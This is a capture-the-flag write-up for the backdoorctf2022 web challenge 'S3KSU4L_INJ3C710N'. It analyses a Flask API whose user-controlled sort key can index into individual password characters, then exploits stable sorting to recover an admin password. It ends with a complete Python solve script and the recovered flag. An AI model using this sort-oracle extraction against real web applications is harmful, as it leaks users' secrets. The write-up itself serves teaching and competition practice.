---
# System prepended metadata

title: S3KSU4L_INJ3C710N write-up
tags: [backdoorctf2022, web]

---

# S3KSU4L_INJ3C710N write-up
###### tags: `backdoorctf2022` `web` 
## Challenge description
![](https://i.imgur.com/WFsSEjb.png)
The challenge provides an web application with its source code. Once accessing the site URL, you can see the site returning a list of users.
![](https://i.imgur.com/UFNRl9b.png)
## Source code
Let us take look on what this application does from the provided source code.
The following is the API which was used to retrieve users from database.
```python=
@app.route('/api/data')
def data():
    query = User.query
    total_filtered = query.count()
    col_index = request.args.get('order[0][column]')
    flag=1
    if col_index is None:
        col_index=0
        flag=0
    col_name = request.args.get(f'columns[{col_index}][data]')
    users=[user.to_dict() for user in query]
    descending = request.args.get(f'order[0][dir]') == 'desc'
    try:
        if descending:
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=True)
        else :
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=False)
    except:
        pass
    start = request.args.get('start', type=int)
    length = request.args.get('length', type=int)
    users=users[start:start+length]
    for user in users:
        del user['password']
    if flag==0:
        random.shuffle(users)
    return {
        'data': users,
        'recordsFiltered': total_filtered,
        'recordsTotal': 500,
        'draw': request.args.get('draw', type=int),
    }
```

As you can see there are only a few meaningful parameters
* `order[0][column]`
    * Assignes the user provided value to the variable `col_index`
* `columns[{col_index}][data]`
    * Based on the user provided value, `col_name` would be used to sort the `users` via `helper` function
* `order[0][dir]`
    * Determines if the returned users are sorted in ascending or descending order
* `start`
    * Detemines the starting index of the returned `users` list
* `length`
    * Determines the length of the returned `users` list
* `draw`
    * Determines the value of `draw`. Not that useful.

This implies we can control how many users being returned from the API and how it could be sorted.

We should also check how `users` are defined. The following code are ran on server start.
```python=
faker=Faker()
hexc=[]
for i in range(16):
    hexc.append(hex(i)[2:])
for i in range(50):
    random.shuffle(hexc)
passwords=[]
lucky=random.randint(100,400)
f=open('users.txt','w')
for i in range(500):
    random.shuffle(hexc)
    passwords.append("".join(hexc))
    name=faker.name()
    phone=faker.phone_number()
    if phone[0]!='+':
        phone='+'+phone
    if i == lucky:
        name='Adm1n_h3r3_UwU'
    f.write(name+'||'+passwords[i]+'||'+faker.address().replace('\n',', ')+'||'+phone+'||'+faker.email())
    f.write('\n')
f.close()
```
Basically this code provides the following information
* The `hexc` variable is a list of 16 characters `['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']`
* There are 500 users with one random user will be assigned a special name `Adm1n_h3r3_UwU`.
* A password will be created for each user by shuffling the `hexc` variable with function `random.shuffle`, so we can tell the password will be of length 16, with 16! of possible permutation


## Challenge Analysis
So after all that work, what is the flag for this challenge? What? You don't have any idea? Well, it was quite obvious to see that the password of that special user is the flag of this challenge.
![](https://i.imgur.com/qZZ3iG6.png)
The password is removed before returning user data from `/api/data`. Is there a way to obtain the password of the user `Adm1n_h3r3_UwU`? 

Basically what we could do is that we can query the users and sort them with any column including `password`. However, a password may have 16! permutation, thus it is not that helpful if we sort users with the entire password. We can do better.
Let us have a look how `help` was defined.
```python=
def helper(data, prop, is_data=False):
    pr =  prop.split('.')
    pr1= prop.split('.')
    count=0
    for p in pr:
        if count == 2:
            return None
        count+=1
        pr1=pr1[1:]
        nextprop = '.'.join(pr1)
        if hasattr(data, p):
            if nextprop=='':
                return getattr(data, p)
            return helper(getattr(data, p), nextprop, True)

...snip...
        elif type(data) == list or type(data) == tuple or type(data)==str:
            try:
                if nextprop=='':
                    return data[int(p)]
                return helper(data[int(p)], nextprop, True)
            except (ValueError, TypeError, IndexError):
                return None
        else:
            return None

    if is_data:
        return data
    else:
        return None
```
What does this do? Let us ask ChatGPT.
```!
This is a recursive function that takes in a data object, a property string, and an optional boolean flag and returns the value at the specified property of the data object if it exists, or None if it does not exist. The property string can include dots to indicate nested properties and the function will traverse the data object accordingly. The optional boolean flag is used to indicate whether the data object being passed to the function is the original data object or a nested data object.
```
This means we can sort users by `user.password.__repr__` by setting the GET parameter `columns[{col_index}][data]` to `password.__repr__`. Is this useful? Not really. However, what happens if you provide an integer? What if we pass `password.0`?
```python!
        elif type(data) == list or type(data) == tuple or type(data)==str:
            try:
                if nextprop=='':
                    return data[int(p)]
                return helper(data[int(p)], nextprop, True)
```
`user.password` is a string and `0` is the last property, `nextprop` will be `''`, then `data[int(p)]` would be returned. This means`user.password.0` will be interperted as`user.password[0]`. This implies we can sort users by each character of the password. With this information we can sort the users by each index of the password and guess each character.


## Exploitation
First attempt, assuming that the password character set is evenly distributed, divide the users into 16 chunks and guess the admin password by checking which chunk the admin is at. Gets `a479ce51ec083f27`. This was obviously wrong as there are duplicated characters.

Second attempt, I tried to sort the index of admin in user lists of each password index in ascending order and assign the smallest admin index to the first character in the sorted`hexc` at the corresponding password index and so on. This yeilds `a479be51dc083f26` which is also wrong, but is actually quite close to the correct password.

Third attempt, thanks to [mystiz613](https://twitter.com/mystiz613) for observing the in-place property of the function[sorted()](https://docs.python.org/3/howto/sorting.html), we can know the exact character of each index of the password by observing index of users in ascending and descending orders.
In particular, the users are sorted in-place which would occupy the same storage as the original ones when there is a tie as the following code implied.
```python
    try:
        if descending:
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=True)
        else :
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=False)
```
Let us take a moment to appreciate the following screenshot from mystiz.
![](https://i.imgur.com/pyrFWjj.jpg)

So basically we can determine the different chunks of users by comparing the list of sorted users from ascending order and descending order.

Consider the following list sorted by the first character of password ascendingly.
```
[
    {"user":2,"password":"0213"},
    {"user":7,"password":"0132"},
    {"user":1,"password":"1230"},
    {"user":4,"password":"1203"},
    {"user":6,"password":"2103"},
    {"user":5,"password":"2130"},
    {"user":3,"password":"3120"},
    {"user":8,"password":"3102"},
]
```
If we sorted the first character of password descendingly, we would get the following.
```
[
    {"user":3,"password":"3120"},
    {"user":8,"password":"3102"},
    {"user":6,"password":"2103"},
    {"user":5,"password":"2130"},
    {"user":1,"password":"1230"},
    {"user":4,"password":"1203"},
    {"user":2,"password":"0213"},
    {"user":7,"password":"0132"},

]
```
In our simplfied scenario, password is 4 character long with range from 0 to 3. In a large enough sample size (16 characters randomly distributed among 500 users), we can say it is very likely that every single character will appear at each index of the password.
There are some facts that we can tell from the two list:
1. user 2 password starts with 0 as it is the first element of the ascending list
2. user 7 password starts with 0 as it is the last element of the decending list  
3. Any users between user 2 and user 7 have password starts as 0 as the list is sorted
4. We can deduce user 1 password starts with 1 as it is right after user 7 in the ascending list.
5. We can deduce user 4 password starts with 1 as it is right before user 2 in the decending list.
6. And so on until reaching the end of the list


We can tell what is the corresponding password character for users from their corresponding index in the user list. After we have the mapping, we just have to find the index of user `Adm1n_h3r3_UwU` and determine the character of password at a particular index. Repeat the query from `password.0` to `password.15` to obtain the entire password of user `Adm1n_h3r3_UwU`

## Solve script
```python
import requests
url = "http://hack.backdoor.infoseciitr.in:16052/api/data"
query_params = {
    "columns[0][data]": "password.2",
    "columns[0][passwords]": "",
    "order[0][column]": "0",
    "order[0][dir]": "AAA",
    "start": "0",
    "length": "500"
}
password_charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
def get_index_from_list(lst, name):
    for i, v in enumerate(lst):
        if(v["name"] == name):
            return i
    return None
idxs = []
temp_map = {}
password = ""
for i in range(16):
    query_params["columns[0][data]"] = f"password.{i}"
    query_params["order[0][dir]"] = "asce"
    response = requests.get(url, params=query_params, verify=False)

    if response.status_code == 200:
        data = response.json()["data"]
        admin_index = next((index for (index, d) in enumerate(data) if d["name"] == "Adm1n_h3r3_UwU"), None)
    else:
        print("Request failed with status code:", response.status_code)

    query_params["order[0][dir]"] = "desc"
    response = requests.get(url, params=query_params, verify=False)
    if response.status_code == 200:
        data_rev = response.json()["data"]
        
    else:
        print("Request failed with status code:", response.status_code)
    a = [0]
    b = [len(data_rev)]
    j = 0
    while True:
        temp_rev_idx = get_index_from_list(data_rev,data[a[j]]["name"])
        temp_len = len(data_rev[temp_rev_idx:b[j]])
        temp_idx = a[j] + temp_len
        a.append(temp_idx)
        b.append(temp_rev_idx)
        j += 1
        if temp_idx >= 500:
            break
    for k,c in zip(range(0,len(a)-1),password_charset):
        x = range(a[k],a[k+1])
        if(admin_index in x):
            password += c
            print(f"password at idx {i} : {c}")
            break
print(password)
```
The output of the script yields
`a469ce51db083f27`